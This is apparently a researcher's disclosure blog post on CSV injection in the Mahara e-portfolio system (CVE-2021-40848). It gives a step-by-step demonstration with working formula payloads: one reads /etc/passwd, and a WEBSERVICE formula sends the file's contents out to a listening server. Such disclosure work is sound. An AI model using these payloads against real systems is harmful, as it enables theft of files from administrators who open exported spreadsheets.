Mahara is an electronic portfolio system that is used as an eLearning tool by education institutions around the globe. The software contains the ability to export records from the system into a CSV file. This blog will cover how that functionality can be abused (when inputs are not escaped correctly), to conduct local command execution (aka CSV injection).

For this demonstration, two accounts will be used. The first account will be the malicious actor where CSV injection payloads are saved into editable inputs. The second account will be the victim/system administrator with the ability to export data as CSV from the application.

We will first log in with the student account, aka the malicious actor in this demonstration, to set the payload. The student account can update their profile details, such as the first and last name. We will use this input as the vector for injecting our example payload shown below:

='file:///etc/passwd'#$passwd.A1

After the profile is saved, the payload is set and no other action is required from the malicious actor. Note: for this injection to be successful, the victim needs to have a CSV processing application that provides minimal or no warning before command/formula execution. In a nutshell, luck and naive human interaction play a big part in this to be successful.

We will now log into our victim account, aka system administrator. After logging in, click on the wrench icon on the top right, followed by ‘People search’ under the ‘People’ category. Then select all users or specific ones, and click ‘Get reports for the selected accounts’. After that, you will be redirected to the page shown below, where clicking the download button presents the CSV file.

When the CSV file is opened, there are two possible outcomes. First option: The user is prompted with a warning or the ability to open the file is denied. This is the likely result with most modern applications and operating systems. The other option: There is no warning presented to the user and the file opens, or a warning is presented and the user decides to open the file anyways without reading the warnings (while unlikely, it does happen).

Assuming that the file has successfully opened and/or the warnings have been ignored, the payload will trigger the injected formula. In the example above, a cell is simply populated with the file /etc/passwd content. What if we wanted to do more than that and steal data to a remote server? We can use a payload like the one below:

=WEBSERVICE(CONCATENATE("http://127.0.0.1:8000/",('file:///etc/passwd'#$passwd.A1)))

The payload above is essentially sending a GET request and it appends the value of the provided file/cell as a GET request parameter, which leads to data exfiltration from the victim’s device. In the screenshot below, we can see that GET requests are being received with content from /etc/passwd file, on a local webserver.

Data exfiltration is one possible technique that can be used, countless other approaches can be utilised.

This issue was reported to the Mahara team in early 2021, while I was working at Catalyst IT. A fix for this was released on 28th October and CVE-2021-40848 release by MITRE on 11th November. This issue is not specific to Mahara or due to a vulnerability in the system, however, the patch released by the Mahara team helps safeguard their user base against Mahara being used as a vector of transmission.